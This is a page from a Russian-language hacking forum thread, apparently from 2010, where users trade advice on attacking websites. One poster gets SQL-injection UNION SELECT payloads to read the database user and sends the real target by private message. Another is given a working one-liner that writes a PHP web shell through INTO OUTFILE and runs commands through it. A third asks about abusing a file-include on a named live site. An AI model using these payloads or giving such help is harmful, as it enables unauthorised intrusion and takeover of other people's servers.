HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1131 из 2438 « Первая < 131631103110811121 1127 1128 1129 1130 1131 1132 1133 1134 1135 11411181123116312131 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #11301  
Старый 21.01.2010, 20:21
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
С нами: 10340793

Репутация: 66
По умолчанию
прощу помочь с этим скулем:
http://localhost//?script=%2527
вывод:
Цитата:
Error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%') or (t.page_title like '%'%') or (t.brief like '%'%') or (t.metakeywords like' at line 6 in
и пробовал
http://localhost//?script=%2527)+order+by+1+--+
тоже результат такой же ((
Как поступит в таком случае? Думал найду в других страничках но скул единственный
 
Ответить с цитированием

  #11302  
Старый 21.01.2010, 20:31
Alf0x0ns
Новичок
Регистрация: 12.01.2010
Сообщений: 13
С нами: 8593628

Репутация: 18
По умолчанию
так тебе ничего никто не поможет.. нужно ссылку на сайт со скулей.
 
Ответить с цитированием

  #11303  
Старый 21.01.2010, 20:36
[NiGHT]DarkAngel
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
С нами: 11114426

Репутация: 129
По умолчанию
Цитата:
Сообщение от YuNi|[c  
прощу помочь с этим скулем:
http://localhost//?script=%2527
вывод:

и пробовал
http://localhost//?script=%2527)+order+by+1+--+
тоже результат такой же ((
Как поступит в таком случае? Думал найду в других страничках но скул единственный
http://localhost/?script=%2527)/* - так запрос должен выполниться без ошибок.
http://localhost/?script=%2527) union select 1,2,3,user()/* - вот так будет sql-injection

Это к примеру,т.к точного уязвимого скрипта нет.
 
Ответить с цитированием

  #11304  
Старый 21.01.2010, 21:08
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
С нами: 10340793

Репутация: 66
По умолчанию
Цитата:
Сообщение от [NiGHT]DarkAngel  
http://localhost/?script=%2527)/* - так запрос должен выполниться без ошибок.
http://localhost/?script=%2527) union select 1,2,3,user()/* - вот так будет sql-injection

Это к примеру,т.к точного уязвимого скрипта нет.
вроде ?script=%2527)/* норм но как добалю union select та же ошибка хз как обойти
 
Ответить с цитированием

  #11305  
Старый 21.01.2010, 21:15
[NiGHT]DarkAngel
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
С нами: 11114426

Репутация: 129
По умолчанию
Цитата:
Сообщение от YuNi|[c  
вроде ?script=%2527)/* норм но как добалю union select та же ошибка хз как обойти
Скидывай лог ошибки и если есть возможность изменить скрипт выводи sql запрос в браузер,так проще будет разобраться в чем причина.
 
Ответить с цитированием

  #11306  
Старый 21.01.2010, 22:00
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
С нами: 10340793

Репутация: 66
По умолчанию
тоесть как выводит то сам запрос в браузер
 
Ответить с цитированием

  #11307  
Старый 21.01.2010, 22:28
YuNi|[c
Участник форума
Регистрация: 17.09.2006
Сообщений: 248
С нами: 10340793

Репутация: 66
По умолчанию
отправил в пм линк
 
Ответить с цитированием

  #11308  
Старый 21.01.2010, 22:42
erolom
Познающий
Регистрация: 14.03.2009
Сообщений: 38
С нами: 9031567

Репутация: 2
По умолчанию
спасибо M.W.N.N. и Rullery =)

ну вот с привелегий FILE разобрался , ребята не можете теперь помочь как залить шелл если имееться данная привелегия и слышал что вначале лучше залить какой то "плохой" шелл а далее через него уже нормальный.Кто что посоветует по данному сабжу?
 
Ответить с цитированием

  #11309  
Старый 21.01.2010, 23:12
ILYAtirtir
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
С нами: 10024314

Репутация: 739
По умолчанию
union+select+'<? system($_GET['cmd']); ?>'+into+outfile+'/[path]/shell.php'
Дальше site.com/shell.php?cmd=[command]
 
Ответить с цитированием

  #11310  
Старый 21.01.2010, 23:18
svesve
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
С нами: 9950786

Репутация: 214


По умолчанию
http://www.wearhouse.ru/show_img.php?img=http://img.yandex.net/i/www/logo.png

можно инклудить любую картинку, есть возможность заинклудить не картинку?
 
Ответить с цитированием
Ответ
Страница 1131 из 2438 « Первая < 131631103110811121 1127 1128 1129 1130 1131 1132 1133 1134 1135 11411181123116312131 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.